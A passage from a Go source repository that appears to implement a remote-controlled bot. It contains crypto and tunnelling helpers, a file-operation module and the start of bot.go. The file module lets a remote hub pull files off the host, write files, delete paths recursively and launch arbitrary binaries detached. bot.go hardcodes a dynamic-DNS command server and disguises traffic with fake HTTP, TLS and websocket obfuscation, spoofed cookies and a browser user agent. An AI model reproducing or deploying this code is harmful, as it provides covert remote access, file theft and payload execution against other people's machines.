base64.StdEncoding.EncodeToString(private_key)) 27 | Vlogln(2, "RSA public key:", len(public_key), base64.StdEncoding.EncodeToString(public_key)) 28 | 29 | 30 | fmt.Println() 31 | 32 | 33 | start = time.Now() 34 | private_ECDSA, public_ECDSA := toolkit.GenECDSAKeys() 35 | Vlogf(3, "GenECDSAKeys took %s\n", time.Since(start)) 36 | 37 | Vlogln(2, "ECDSA private key:", len(private_key), base64.StdEncoding.EncodeToString(private_ECDSA)) 38 | Vlogln(2, "ECDSA public key:", len(public_key), base64.StdEncoding.EncodeToString(public_ECDSA)) 39 | 40 | } 41 | 42 | func hashBytes(a []byte) []byte { 43 | sha1h := sha256.New() 44 | sha1h.Write(a) 45 | return sha1h.Sum([]byte("")) 46 | } 47 | 48 | func hashBytes512(a []byte) []byte { 49 | sha1h := sha512.New() 50 | sha1h.Write(a) 51 | return sha1h.Sum([]byte("")) 52 | } 53 | 54 | func Vlogf(level int, format string, v ...interface{}) { 55 | if level <= *verbosity { 56 | fmt.Printf(format, v...) 57 | } 58 | } 59 | func Vlog(level int, v ...interface{}) { 60 | if level <= *verbosity { 61 | fmt.Print(v...) 62 | } 63 | } 64 | func Vlogln(level int, v ...interface{}) { 65 | if level <= *verbosity { 66 | fmt.Println(v...) 67 | } 68 | } 69 | 70 | -------------------------------------------------------------------------------- /lib/toolkit/hash.go: -------------------------------------------------------------------------------- 1 | package toolkit 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/sha256" 6 | "crypto/sha512" 7 | "encoding/hex" 8 | "encoding/base64" 9 | 10 | "io" 11 | ) 12 | 13 | func GenerateRandomBytes(n int) ([]byte, error) { 14 | b := make([]byte, n) 15 | _, err := rand.Read(b) 16 | if err != nil { 17 | return nil, err 18 | } 19 | return b, nil 20 | } 21 | 22 | // hash function 23 | func HashBytes256(a []byte) []byte { 24 | sha1h := sha256.New() 25 | sha1h.Write(a) 26 | return sha1h.Sum([]byte("")) 27 | } 28 | 29 | func HashBytes512(a []byte) []byte { 30 | sha1h := sha512.New() 31 | sha1h.Write(a) 32 | return sha1h.Sum([]byte("")) 33 | } 34 | 35 | func IOHash(in io.Reader, out io.Writer) ([]byte, error) { 36 | quit := false 37 | shah := sha256.New() 38 | buf := make([]byte, 8192) 39 | for { 40 | n, err := in.Read(buf) 41 | if err != nil { 42 | if err != io.EOF { 43 | return nil, err 44 | } 45 | quit = true 46 | } 47 | shah.Write(buf[:n]) 48 | 49 | _, err = out.Write(buf[:n]) 50 | if err != nil { 51 | return nil, err 52 | } 53 | 54 | if quit { 55 | break 56 | } 57 | } 58 | hash := shah.Sum([]byte("")) 59 | return hash, nil 60 | } 61 | 62 | // Copyright 2013 The Go Authors. All rights reserved. 63 | // Use of this source code is governed by a BSD-style 64 | // license that can be found in the LICENSE file. 65 | func XORBytes(dst, a, b []byte) int { 66 | n := len(a) 67 | if len(b) < n { 68 | n = len(b) 69 | } 70 | for i := 0; i < n; i++ { 71 | dst[i] = a[i] ^ b[i] 72 | } 73 | return n 74 | } 75 | 76 | // string encode 77 | func Hex(a []byte) string { 78 | return hex.EncodeToString(a) 79 | } 80 | 81 | func Base64URL(a []byte) string { 82 | return base64.URLEncoding.EncodeToString(a) 83 | } 84 | 85 | -------------------------------------------------------------------------------- /lib/streamcoder/flowdump.go: -------------------------------------------------------------------------------- 1 | package streamcoder 2 | 3 | import ( 4 | "time" 5 | "net" 6 | 7 | "log" 8 | ) 9 | 10 | type FlowDump struct { 11 | In net.Conn //io.ReadWriteCloser 12 | DataLen int 13 | } 14 | 15 | func (c *FlowDump) Close() error { 16 | if err := c.In.Close(); err != nil { 17 | return err 18 | } 19 | return nil 20 | } 21 | 22 | func (c *FlowDump) Read(data []byte) (n int, err error) { 23 | n, err = c.In.Read(data) 24 | log.Println("[d]Read", n, err, data) 25 | return n, err 26 | } 27 | 28 | func (c *FlowDump) Write(data []byte) (n int, err error) { 29 | n, err = c.In.Write(data) 30 | log.Println("[d]Write", n, err, data) 31 | return n, err 32 | } 33 | 34 | // LocalAddr satisfies net.Conn interface 35 | func (c *FlowDump) LocalAddr() net.Addr { 36 | if ts, ok := c.In.(interface { 37 | LocalAddr() net.Addr 38 | }); ok { 39 | return ts.LocalAddr() 40 | } 41 | return nil 42 | } 43 | 44 | // RemoteAddr satisfies net.Conn interface 45 | func (c *FlowDump) RemoteAddr() net.Addr { 46 | if ts, ok := c.In.(interface { 47 | RemoteAddr() net.Addr 48 | }); ok { 49 | return ts.RemoteAddr() 50 | } 51 | return nil 52 | } 53 | 54 | func (c *FlowDump) SetReadDeadline(t time.Time) error { 55 | return c.In.SetReadDeadline(t) 56 | } 57 | 58 | func (c *FlowDump) SetWriteDeadline(t time.Time) error { 59 | return c.In.SetWriteDeadline(t) 60 | } 61 | 62 | func (c *FlowDump) SetDeadline(t time.Time) error { 63 | if err := c.SetReadDeadline(t); err != nil { 64 | return err 65 | } 66 | if err := c.SetWriteDeadline(t); err != nil { 67 | return err 68 | } 69 | return nil 70 | } 71 | 72 | func NewFlowDump(con net.Conn, maxData int) (c *FlowDump, err error) { 73 | c = &FlowDump{} 74 | c.In = con 75 | c.DataLen = maxData 76 | 77 | return c, nil 78 | } 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /lib/toolkit/crypto_ecdsa.go: -------------------------------------------------------------------------------- 1 | package toolkit 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/ecdsa" 6 | "crypto/elliptic" 7 | "crypto/x509" 8 | "math/big" 9 | ) 10 | 11 | // ECDSA function 12 | func GenECDSAKeys() (private_key_bytes, public_key_bytes []byte) { 13 | private_key, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader) 14 | private_key_bytes, _ = x509.MarshalECPrivateKey(private_key) 15 | public_key_bytes, _ = x509.MarshalPKIXPublicKey(&private_key.PublicKey) 16 | return private_key_bytes, public_key_bytes 17 | } 18 | 19 | func SignECDSA(private_key_bytes []byte, hash []byte) ([]byte, error) { 20 | private_key, err := x509.ParseECPrivateKey(private_key_bytes) 21 | if err != nil { 22 | return nil, err 23 | } 24 | 25 | r, s, err := ecdsa.Sign(rand.Reader, private_key, hash) 26 | if err != nil { 27 | return nil, err 28 | } 29 | // v.Vlogln(5, "r: ", len(r.Bytes()), r.Bytes()) 30 | // v.Vlogln(5, "s: ", len(s.Bytes()), s.Bytes()) 31 | 32 | return append(r.Bytes(), s.Bytes()...), nil 33 | } 34 | 35 | func SignECDSA2(private_key *ecdsa.PrivateKey, hash []byte) ([]byte, error) { 36 | r, s, err := ecdsa.Sign(rand.Reader, private_key, hash) 37 | if err != nil { 38 | return nil, err 39 | } 40 | // v.Vlogln(5, "r: ", len(r.Bytes()), r.Bytes()) 41 | // v.Vlogln(5, "s: ", len(s.Bytes()), s.Bytes()) 42 | 43 | return append(r.Bytes(), s.Bytes()...), nil 44 | } 45 | 46 | func VerifyECDSA(public_key_bytes []byte, hash []byte, signature []byte) (result bool) { 47 | public_key, err := x509.ParsePKIXPublicKey(public_key_bytes) 48 | if err != nil { 49 | return false 50 | } 51 | 52 | var r big.Int 53 | r.SetBytes(signature[0:32]) 54 | var s big.Int 55 | s.SetBytes(signature[32:64]) 56 | 57 | switch public_key := public_key.(type) { 58 | case *ecdsa.PublicKey: 59 | return ecdsa.Verify(public_key, hash, &r, &s) 60 | default: 61 | return false 62 | } 63 | } 64 | 65 | 66 | -------------------------------------------------------------------------------- /lib/toolkit/tool.go: -------------------------------------------------------------------------------- 1 | package toolkit 2 | 3 | import ( 4 | "io" 5 | "net" 6 | "sync" 7 | "time" 8 | "math/rand" 9 | 10 | ) 11 | 12 | const ( 13 | disconnectMin = 15 * 1000 14 | disconnectRange = 30 * 1000 15 | 16 | copyPipeSize = 2048 17 | ) 18 | 19 | // global recycle buffer 20 | var copyBuf sync.Pool 21 | 22 | func init() { 23 | rand.Seed(int64(time.Now().Nanosecond())) 24 | 25 | copyBuf.New = func() interface{} { 26 | return make([]byte, copyPipeSize) 27 | } 28 | } 29 | 30 | var TrollConn = func (p1 net.Conn) { 31 | sec := time.Duration(disconnectMin + rand.Intn(disconnectRange)) * time.Millisecond 32 | time.Sleep(sec) 33 | p1.Close() 34 | } 35 | 36 | var SleepRand = func () { 37 | sec := time.Duration(disconnectMin + rand.Intn(disconnectRange)) * time.Millisecond 38 | time.Sleep(sec) 39 | } 40 | 41 | var Cp = func (p1, p2 net.Conn) { 42 | // start tunnel 43 | p1die := make(chan struct{}) 44 | go func() { 45 | buf := copyBuf.Get().([]byte) 46 | io.CopyBuffer(p1, p2, buf) 47 | close(p1die) 48 | copyBuf.Put(buf) 49 | }() 50 | 51 | p2die := make(chan struct{}) 52 | go func() { 53 | buf := copyBuf.Get().([]byte) 54 | io.CopyBuffer(p2, p1, buf) 55 | close(p2die) 56 | copyBuf.Put(buf) 57 | }() 58 | 59 | // wait for tunnel termination 60 | select { 61 | case <-p1die: 62 | case <-p2die: 63 | } 64 | } 65 | 66 | var Cp1 = func (p1 io.Reader, p2 io.Writer) { 67 | buf := copyBuf.Get().([]byte) 68 | io.CopyBuffer(p2, p1, buf) // p2 << p1 69 | copyBuf.Put(buf) 70 | } 71 | 72 | // p1 >> p0 >> p2 73 | var Cp3 = func (p1 io.Reader, p0 net.Conn, p2 io.Writer) { 74 | p1die := make(chan struct{}) 75 | go func() { 76 | buf := copyBuf.Get().([]byte) 77 | io.CopyBuffer(p0, p1, buf) // p0 << p1 78 | close(p1die) 79 | copyBuf.Put(buf) 80 | }() 81 | 82 | p2die := make(chan struct{}) 83 | go func() { 84 | buf := copyBuf.Get().([]byte) 85 | io.CopyBuffer(p2, p0, buf) // p2 << p0 86 | close(p2die) 87 | copyBuf.Put(buf) 88 | }() 89 | 90 | // wait for tunnel termination 91 | select { 92 | case <-p1die: 93 | case <-p2die: 94 | } 95 | } 96 | 97 | 98 | -------------------------------------------------------------------------------- /lib/toolkit/crypto_aes.go: -------------------------------------------------------------------------------- 1 | package toolkit 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "errors" 7 | ) 8 | 9 | var ErrLength = errors.New("wrong length of format") 10 | 11 | // key = 16 or 24 or 32 Bytes 12 | // nonce = 12 Bytes 13 | func Encrypt(plaintext []byte, nonce []byte, key []byte) (ciphertext []byte, err error) { 14 | block, err := aes.NewCipher(key) 15 | if err != nil { 16 | // panic(err.Error()) 17 | return 18 | } 19 | 20 | aesgcm, err := cipher.NewGCM(block) 21 | if err != nil { 22 | // panic(err.Error()) 23 | return 24 | } 25 | 26 | ciphertext = aesgcm.Seal(nil, nonce, plaintext, nil) 27 | // fmt.Printf("%d [%x]\n", len(ciphertext), ciphertext) 28 | 29 | return 30 | } 31 | 32 | func Decrypt(ciphertext []byte, nonce []byte, key []byte) (plaintext []byte, err error) { 33 | block, err := aes.NewCipher(key) 34 | if err != nil { 35 | // panic(err.Error()) 36 | return 37 | } 38 | 39 | aesgcm, err := cipher.NewGCM(block) 40 | if err != nil { 41 | // panic(err.Error()) 42 | return 43 | } 44 | 45 | plaintext, err = aesgcm.Open(nil, nonce, ciphertext, nil) 46 | if err != nil { 47 | // panic(err.Error()) 48 | return 49 | } 50 | 51 | // fmt.Printf("%s\n", plaintext) 52 | return 53 | } 54 | 55 | func UnPackLineByte(b []byte) (int64, []byte, []byte, error) { 56 | if len(b) < 4 { 57 | return 0, nil, nil, ErrLength 58 | } 59 | 60 | addr := int64(uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24) 61 | pair := b[4:] 62 | pairlen := len(pair) / 2 63 | buf := pair[:pairlen] 64 | rbuf := pair[pairlen:] 65 | if len(buf) != len(rbuf) { 66 | return 0, nil, nil, ErrLength 67 | } 68 | return addr, buf, rbuf, nil 69 | } 70 | 71 | func PackLineByte(addr int64, buf []byte, rbuf []byte) (line []byte) { 72 | if len(buf) != len(rbuf) { 73 | return 74 | } 75 | 76 | size := len(buf) + len(rbuf) + 4 77 | b := make([]byte, size, size) 78 | b[0] = byte(addr) 79 | b[1] = byte(addr >> 8) 80 | b[2] = byte(addr >> 16) 81 | b[3] = byte(addr >> 24) 82 | copy(b[4:], buf) 83 | copy(b[len(rbuf)+4: size], rbuf) 84 | 85 | return b 86 | } 87 | 88 | 89 | -------------------------------------------------------------------------------- /lib/base/client_op_fs.go: -------------------------------------------------------------------------------- 1 | // +build fs all 2 | 3 | package base 4 | 5 | import ( 6 | "net" 7 | // "io" 8 | "os" 9 | "os/exec" 10 | "syscall" 11 | // "sync" 12 | // "time" 13 | // "bytes" 14 | // "io/ioutil" 15 | 16 | kit "local/toolkit" 17 | "lib/smux" 18 | ) 19 | 20 | func init() { 21 | RegOps(B_fs, ccFs) 22 | } 23 | 24 | var ccFs = func (op string, p1 net.Conn, c *Client, mux *smux.Session) { 25 | // kit.WriteVLen(p1, int64(-2)) 26 | 27 | op2, err := kit.ReadTagStr(p1) 28 | if err != nil { 29 | return 30 | } 31 | 32 | switch op2 { 33 | case B_get: 34 | fp, err := kit.ReadVTagByte(p1) 35 | if err != nil { 36 | break 37 | } 38 | fd, err := os.OpenFile(string(fp), os.O_RDONLY, 0444) 39 | if err != nil { 40 | // can't open file 41 | break 42 | } 43 | defer fd.Close() 44 | finfo, err := fd.Stat() 45 | if err != nil { 46 | // can't stat file 47 | break 48 | } 49 | kit.WriteVLen(p1, finfo.Size()) 50 | kit.Cp1(fd, p1) 51 | 52 | case B_push: 53 | fp, err := kit.ReadVTagByte(p1) 54 | if err != nil { 55 | break 56 | } 57 | fd, err := os.OpenFile(string(fp), os.O_WRONLY | os.O_CREATE | os.O_TRUNC , 0700) 58 | if err != nil { 59 | // can't create file 60 | return 61 | } 62 | defer fd.Close() 63 | kit.Cp1(p1, fd) 64 | 65 | case B_del: 66 | fp, err := kit.ReadVTagByte(p1) 67 | if err != nil { 68 | kit.WriteVLen(p1, int64(-1)) 69 | break 70 | } 71 | err = os.RemoveAll(string(fp)) 72 | if err != nil { 73 | kit.WriteVLen(p1, int64(-1)) 74 | break 75 | } 76 | kit.WriteVLen(p1, int64(0)) 77 | 78 | case B_call: 79 | fpb, err := kit.ReadVTagByte(p1) 80 | if err != nil { 81 | break 82 | } 83 | 84 | fp := string(fpb) 85 | // check exist? 86 | if _, err := os.Stat(fp); os.IsNotExist(err) { 87 | kit.WriteVLen(p1, int64(-2)) 88 | return 89 | } else { 90 | kit.WriteVLen(p1, int64(0)) 91 | } 92 | call(p1, fp) 93 | } 94 | 95 | } 96 | 97 | var call = func (p1 net.Conn, bin string) { 98 | // call payload 99 | pl := exec.Command(bin) 100 | pl.SysProcAttr = &syscall.SysProcAttr{ 101 | Setpgid: true, 102 | // Noctty: true, 103 | } 104 | err := pl.Start() 105 | if err != nil { 106 | p1.Write([]byte(err.Error())) 107 | return 108 | } 109 | err = pl.Process.Release() 110 | if err != nil { 111 | p1.Write([]byte(err.Error())) 112 | } 113 | } 114 | 115 | 116 | -------------------------------------------------------------------------------- /lib/toolkit/crypto_rsa.go: -------------------------------------------------------------------------------- 1 | package toolkit 2 | 3 | import ( 4 | "crypto" 5 | "crypto/rand" 6 | "crypto/rsa" 7 | "crypto/sha256" 8 | "crypto/x509" 9 | ) 10 | 11 | // RSA 12 | var Label = []byte("") 13 | 14 | func GenRSAKeys(length int) (private_key_bytes, public_key_bytes []byte) { 15 | privateKey, _ := rsa.GenerateKey(rand.Reader, length) 16 | publicKey := &privateKey.PublicKey 17 | 18 | private_key_bytes = x509.MarshalPKCS1PrivateKey(privateKey) 19 | public_key_bytes, _ = x509.MarshalPKIXPublicKey(publicKey) 20 | return private_key_bytes, public_key_bytes 21 | } 22 | 23 | func EncRSA(publicKey *rsa.PublicKey, message []byte) ([]byte, error) { 24 | // Label := []byte("") 25 | hash := sha256.New() 26 | ciphertext, err := rsa.EncryptOAEP(hash, rand.Reader, publicKey, message, Label) 27 | 28 | return ciphertext, err 29 | } 30 | 31 | func DecRSA(privateKey *rsa.PrivateKey, ciphertext []byte) ([]byte, error) { 32 | // Label := []byte("") 33 | hash := sha256.New() 34 | 35 | plainText, err := rsa.DecryptOAEP(hash, rand.Reader, privateKey, ciphertext, Label) 36 | 37 | return plainText, err 38 | } 39 | 40 | //func SignRSA(privateKey *rsa.PrivateKey, message []byte) ([]byte, error) { 41 | func SignRSA(privateKey *rsa.PrivateKey, sha256hashed []byte) ([]byte, error) { 42 | var opts rsa.PSSOptions 43 | opts.SaltLength = rsa.PSSSaltLengthAuto // for simple example 44 | newhash := crypto.SHA256 45 | // pssh := newhash.New() 46 | // pssh.Write(message) 47 | // sha256hashed := pssh.Sum(nil) 48 | 49 | signature, err := rsa.SignPSS(rand.Reader, privateKey, newhash, sha256hashed, &opts) 50 | return signature, err 51 | } 52 | 53 | //func VerifyRSA(publicKey *rsa.PublicKey, message []byte, signature []byte) (result bool) { 54 | func VerifyRSA(publicKey *rsa.PublicKey, sha256hashed []byte, signature []byte) (result bool) { 55 | result = false 56 | 57 | var opts rsa.PSSOptions 58 | opts.SaltLength = rsa.PSSSaltLengthAuto // for simple example 59 | newhash := crypto.SHA256 60 | // pssh := newhash.New() 61 | // pssh.Write(message) 62 | // sha256hashed := pssh.Sum(nil) 63 | 64 | err := rsa.VerifyPSS(publicKey, newhash, sha256hashed, signature, &opts) 65 | if err == nil { 66 | result = true 67 | } 68 | return 69 | } 70 | 71 | func ParseRSAPub(public_key_bytes []byte) (*rsa.PublicKey, error) { 72 | public_key, err := x509.ParsePKIXPublicKey(public_key_bytes) 73 | if err != nil { 74 | return nil, err 75 | } 76 | 77 | key, ok := public_key.(*rsa.PublicKey) 78 | if !ok { 79 | return nil, rsa.ErrVerification 80 | } 81 | return key, nil 82 | } 83 | 84 | func ParseRSAPriv(private_key_bytes []byte) (*rsa.PrivateKey, error) { 85 | return x509.ParsePKCS1PrivateKey(private_key_bytes) 86 | } 87 | 88 | -------------------------------------------------------------------------------- /lib/chacha20/chacha20_amd64.go: -------------------------------------------------------------------------------- 1 | // chacha20_amd64.go - AMD64 optimized chacha20. 2 | // 3 | // To the extent possible under law, Yawning Angel has waived all copyright 4 | // and related or neighboring rights to chacha20, using the Creative 5 | // Commons "CC0" public domain dedication. See LICENSE or 6 | // for full details. 7 | 8 | // +build amd64,!gccgo,!appengine 9 | 10 | package chacha20 11 | 12 | import ( 13 | "math" 14 | ) 15 | 16 | var usingAVX2 = false 17 | 18 | func blocksAmd64SSE2(x *uint32, inp, outp *byte, nrBlocks uint) 19 | 20 | func blocksAmd64AVX2(x *uint32, inp, outp *byte, nrBlocks uint) 21 | 22 | func cpuidAmd64(cpuidParams *uint32) 23 | 24 | func xgetbv0Amd64(xcrVec *uint32) 25 | 26 | func blocksAmd64(x *[stateSize]uint32, in []byte, out []byte, nrBlocks int, isIetf bool) { 27 | // Probably unneeded, but stating this explicitly simplifies the assembly. 28 | if nrBlocks == 0 { 29 | return 30 | } 31 | 32 | if isIetf { 33 | var totalBlocks uint64 34 | totalBlocks = uint64(x[8]) + uint64(nrBlocks) 35 | if totalBlocks > math.MaxUint32 { 36 | panic("chacha20: Exceeded keystream per nonce limit") 37 | } 38 | } 39 | 40 | if in == nil { 41 | for i := range out { 42 | out[i] = 0 43 | } 44 | in = out 45 | } 46 | 47 | // Pointless to call the AVX2 code for just a single block, since half of 48 | // the output gets discarded... 49 | if usingAVX2 && nrBlocks > 1 { 50 | blocksAmd64AVX2(&x[0], &in[0], &out[0], uint(nrBlocks)) 51 | } else { 52 | blocksAmd64SSE2(&x[0], &in[0], &out[0], uint(nrBlocks)) 53 | } 54 | } 55 | 56 | func supportsAVX2() bool { 57 | // https://software.intel.com/en-us/articles/how-to-detect-new-instruction-support-in-the-4th-generation-intel-core-processor-family 58 | const ( 59 | osXsaveBit = 1 << 27 60 | avx2Bit = 1 << 5 61 | ) 62 | 63 | // Check to see if CPUID actually supports the leaf that indicates AVX2. 64 | // CPUID.(EAX=0H, ECX=0H) >= 7 65 | regs := [4]uint32{0x00} 66 | cpuidAmd64(®s[0]) 67 | if regs[0] < 7 { 68 | return false 69 | } 70 | 71 | // Check to see if the OS knows how to save/restore XMM/YMM state. 72 | // CPUID.(EAX=01H, ECX=0H):ECX.OSXSAVE[bit 27]==1 73 | regs = [4]uint32{0x01} 74 | cpuidAmd64(®s[0]) 75 | if regs[2]&osXsaveBit == 0 { 76 | return false 77 | } 78 | xcrRegs := [2]uint32{} 79 | xgetbv0Amd64(&xcrRegs[0]) 80 | if xcrRegs[0]&6 != 6 { 81 | return false 82 | } 83 | 84 | // Check for AVX2 support. 85 | // CPUID.(EAX=07H, ECX=0H):EBX.AVX2[bit 5]==1 86 | regs = [4]uint32{0x07} 87 | cpuidAmd64(®s[0]) 88 | return regs[1]&avx2Bit != 0 89 | } 90 | 91 | func init() { 92 | blocksFn = blocksAmd64 93 | usingVectors = true 94 | usingAVX2 = supportsAVX2() 95 | } 96 | -------------------------------------------------------------------------------- /lib/smux/README.md: -------------------------------------------------------------------------------- 1 | smux 2 | 3 | [![GoDoc][1]][2] [![MIT licensed][3]][4] [![Build Status][5]][6] [![Go Report Card][7]][8] [![Coverage Statusd][9]][10] 4 | 5 | smux 6 | 7 | [1]: https://godoc.org/github.com/xtaci/smux?status.svg 8 | [2]: https://godoc.org/github.com/xtaci/smux 9 | [3]: https://img.shields.io/badge/license-MIT-blue.svg 10 | [4]: LICENSE 11 | [5]: https://travis-ci.org/xtaci/smux.svg?branch=master 12 | [6]: https://travis-ci.org/xtaci/smux 13 | [7]: https://goreportcard.com/badge/github.com/xtaci/smux 14 | [8]: https://goreportcard.com/report/github.com/xtaci/smux 15 | [9]: https://codecov.io/gh/xtaci/smux/branch/master/graph/badge.svg 16 | [10]: https://codecov.io/gh/xtaci/smux 17 | 18 | ## Introduction 19 | 20 | Smux ( **S**imple **MU**ltiple**X**ing) is a multiplexing library for Golang. It relies on an underlying connection to provide reliability and ordering, such as TCP or [KCP](https://github.com/xtaci/kcp-go), and provides stream-oriented multiplexing. The original intention of this library is to power the connection management for [kcp-go](https://github.com/xtaci/kcp-go). 21 | 22 | ## Features 23 | 24 | 1. Tiny, less than 600 LOC. 25 | 2. ***Token bucket*** controlled receiving, which provides smoother bandwidth graph(see picture below). 26 | 3. Session-wide receive buffer, shared among streams, tightly controlled overall memory usage. 27 | 4. Minimized header(8Bytes), maximized payload. 28 | 5. Well-tested on millions of devices in [kcptun](https://github.com/xtaci/kcptun). 29 | 30 | ![smooth bandwidth curve](curve.jpg) 31 | 32 | ## Documentation 33 | 34 | For complete documentation, see the associated [Godoc](https://godoc.org/github.com/xtaci/smux). 35 | 36 | ## Specification 37 | 38 | ``` 39 | VERSION(1B) | CMD(1B) | LENGTH(2B) | STREAMID(4B) | DATA(LENGTH) 40 | ``` 41 | 42 | ## Usage 43 | 44 | The API of smux are mostly taken from [yamux](https://github.com/hashicorp/yamux) 45 | 46 | ```go 47 | 48 | func client() { 49 | // Get a TCP connection 50 | conn, err := net.Dial(...) 51 | if err != nil { 52 | panic(err) 53 | } 54 | 55 | // Setup client side of smux 56 | session, err := smux.Client(conn, nil) 57 | if err != nil { 58 | panic(err) 59 | } 60 | 61 | // Open a new stream 62 | stream, err := session.OpenStream() 63 | if err != nil { 64 | panic(err) 65 | } 66 | 67 | // Stream implements io.ReadWriteCloser 68 | stream.Write([]byte("ping")) 69 | } 70 | 71 | func server() { 72 | // Accept a TCP connection 73 | conn, err := listener.Accept() 74 | if err != nil { 75 | panic(err) 76 | } 77 | 78 | // Setup server side of smux 79 | session, err := smux.Server(conn, nil) 80 | if err != nil { 81 | panic(err) 82 | } 83 | 84 | // Accept a stream 85 | stream, err := session.AcceptStream() 86 | if err != nil { 87 | panic(err) 88 | } 89 | 90 | // Listen for a message 91 | buf := make([]byte, 4) 92 | stream.Read(buf) 93 | } 94 | 95 | ``` 96 | 97 | ## Status 98 | 99 | Stable 100 | -------------------------------------------------------------------------------- /lib/toolkit/packet.go: -------------------------------------------------------------------------------- 1 | package toolkit 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "io" 7 | // "fmt" 8 | ) 9 | 10 | const xorTag byte = 0x55 11 | 12 | var VTagMaxSize uint64 = 64 * 1024 * 1024 // 64MB 13 | 14 | var ErrLengthOutOfRange = errors.New("Length Out of Range") 15 | 16 | func ReadTagByte(conn io.Reader) ([]byte, error){ 17 | buf := make([]byte, 1, 256) 18 | _, err := conn.Read(buf[:1]) 19 | if err != nil { 20 | return nil, err 21 | } 22 | 23 | taglen := int(buf[0] ^ xorTag) 24 | // n, err := conn.Read(buf[:taglen]) 25 | n, err := io.ReadFull(conn, buf[:taglen]) 26 | if err != nil { 27 | return nil, err 28 | } 29 | 30 | // fmt.Println("ReadTag:", taglen, buf[:n], string(buf[:n])) 31 | 32 | return buf[:n], nil 33 | } 34 | 35 | func WriteTagByte(conn io.Writer, tag []byte) (err error){ 36 | n := len(tag) 37 | if n > 255 { 38 | return ErrLengthOutOfRange 39 | } 40 | 41 | buf := make([]byte, 0, n + 1) 42 | buf = append(buf, byte(n) ^ xorTag) 43 | buf = append(buf, tag...) 44 | 45 | // fmt.Println("WriteTag:", n, buf[:n+1], []byte(tag)) 46 | 47 | _, err = conn.Write(buf[:n+1]) 48 | return 49 | } 50 | 51 | func ReadTagStr(conn io.Reader) (string, error){ 52 | buf, err := ReadTagByte(conn) 53 | return string(buf), err 54 | } 55 | 56 | func WriteTagStr(conn io.Writer, tag string) (err error){ 57 | return WriteTagByte(conn, []byte(tag)) 58 | } 59 | 60 | 61 | type byteReader struct { 62 | io.Reader 63 | } 64 | 65 | func (b *byteReader) ReadByte() (byte, error) { 66 | buf := make([]byte, 1, 1) 67 | _, err := b.Read(buf) 68 | if err != nil { 69 | return 0, err 70 | } 71 | return buf[0], nil 72 | } 73 | 74 | func ReadVTagByte(conn io.Reader) ([]byte, error){ 75 | reader := &byteReader{conn} 76 | taglen, err := binary.ReadUvarint(reader) 77 | if err != nil { 78 | return nil, err 79 | } 80 | 81 | if taglen > VTagMaxSize { 82 | return nil, ErrLengthOutOfRange 83 | } 84 | 85 | buf := make([]byte, 0, taglen) 86 | n, err := io.ReadFull(conn, buf[:taglen]) 87 | // n, err := conn.Read(buf[:taglen]) 88 | if err != nil { 89 | return nil, err 90 | } 91 | 92 | 93 | // fmt.Println("ReadVTag:", taglen, buf[:n], string(buf[:n])) 94 | // fmt.Println("ReadVTag:", taglen, n) 95 | 96 | return buf[:n], nil 97 | } 98 | 99 | func WriteVTagByte(conn io.Writer, tag []byte) (err error){ 100 | n := len(tag) 101 | 102 | if uint64(n) > VTagMaxSize { 103 | return ErrLengthOutOfRange 104 | } 105 | 106 | over := make([]byte, 10, 10) 107 | overlen := binary.PutUvarint(over, uint64(n)) 108 | 109 | buf := make([]byte, 0, n + overlen) 110 | buf = append(buf, over[:overlen]...) 111 | buf = append(buf, tag...) 112 | 113 | // fmt.Println("WriteVTag:", n, overlen, buf, []byte(tag)) 114 | 115 | _, err = conn.Write(buf) 116 | return 117 | } 118 | 119 | func ReadVLen(conn io.Reader) (int64, error){ 120 | reader := &byteReader{conn} 121 | return binary.ReadVarint(reader) 122 | } 123 | 124 | func WriteVLen(conn io.Writer, n int64) (err error){ 125 | over := make([]byte, 10, 10) 126 | overlen := binary.PutVarint(over, int64(n)) 127 | _, err = conn.Write(over[:overlen]) 128 | return 129 | } 130 | 131 | 132 | -------------------------------------------------------------------------------- /bot/bot.go: -------------------------------------------------------------------------------- 1 | //go build -ldflags="-s -w" -tags="extra mod" -o bot-all bot.go 2 | package main 3 | 4 | import ( 5 | "encoding/base64" 6 | "runtime" 7 | "strings" 8 | "net" 9 | "fmt" 10 | 11 | "lib/fakehttp" 12 | kit "local/toolkit" 13 | "local/base" 14 | ) 15 | 16 | 17 | var hubPubKey, _ = base64.StdEncoding.DecodeString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArogYEOHItjtm0wJOX+hSHjGTIPUsRo/TyLGYxWVk79pNWAhCSvH9nfvpx0skefcL/Nd++Qb/zb3c+o7ZI4zbMKZJLim3yaN8IDlgrjKG7wmjB5r49++LrvRzjIJCAoeFog2PfEn3qlQ+PA26TqLsbPNZi9nsaHlwTOqGljg82g23Zqj1o5JfitJvVlRLmhPqc8kO+4Dvf08MdVS6vBGZjzWFmGx9k3rrDoi7tem22MflFnOQhgLJ4/sbd4Y71ok98ChrQhb6SzZKVWN5v7VCuKqhFLmhZuK0z0f/xkBNcMeCplVLhs/gLIU3HBmvbBSYhmN4dDL19cAv1MkQ6lb1dwIDAQAB") 18 | var hubAddr string = "cs8425.noip.me:8787" 19 | 20 | var proc int = runtime.NumCPU() + 2 21 | 22 | const ( 23 | fakeHttp = true 24 | tls = true 25 | wsObf = true 26 | 27 | targetUrl = "/" 28 | tokenCookieA = "cna" 29 | tokenCookieB = "_tb_token_" 30 | tokenCookieC = "_cna" 31 | userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36" 32 | ) 33 | 34 | func initBot(c *base.Client) { 35 | c.Info.Set("NumCPU", fmt.Sprintf("%v", runtime.NumCPU())) 36 | 37 | lines, _ := kit.ReadLines("/proc/cpuinfo") 38 | for _, line := range lines { 39 | fields := strings.Split(line, ":") 40 | if len(fields) < 2 { 41 | continue 42 | } 43 | key := strings.TrimSpace(fields[0]) 44 | value := strings.TrimSpace(fields[1]) 45 | 46 | switch key { 47 | 48 | case "model name", "Hardware": 49 | // ARM : Hardware = Qualcomm Technologies, Inc MSM8939 50 | // x86: model name = Intel(R) Core(TM) i7-4710HQ CPU @ 2.50GHz 51 | 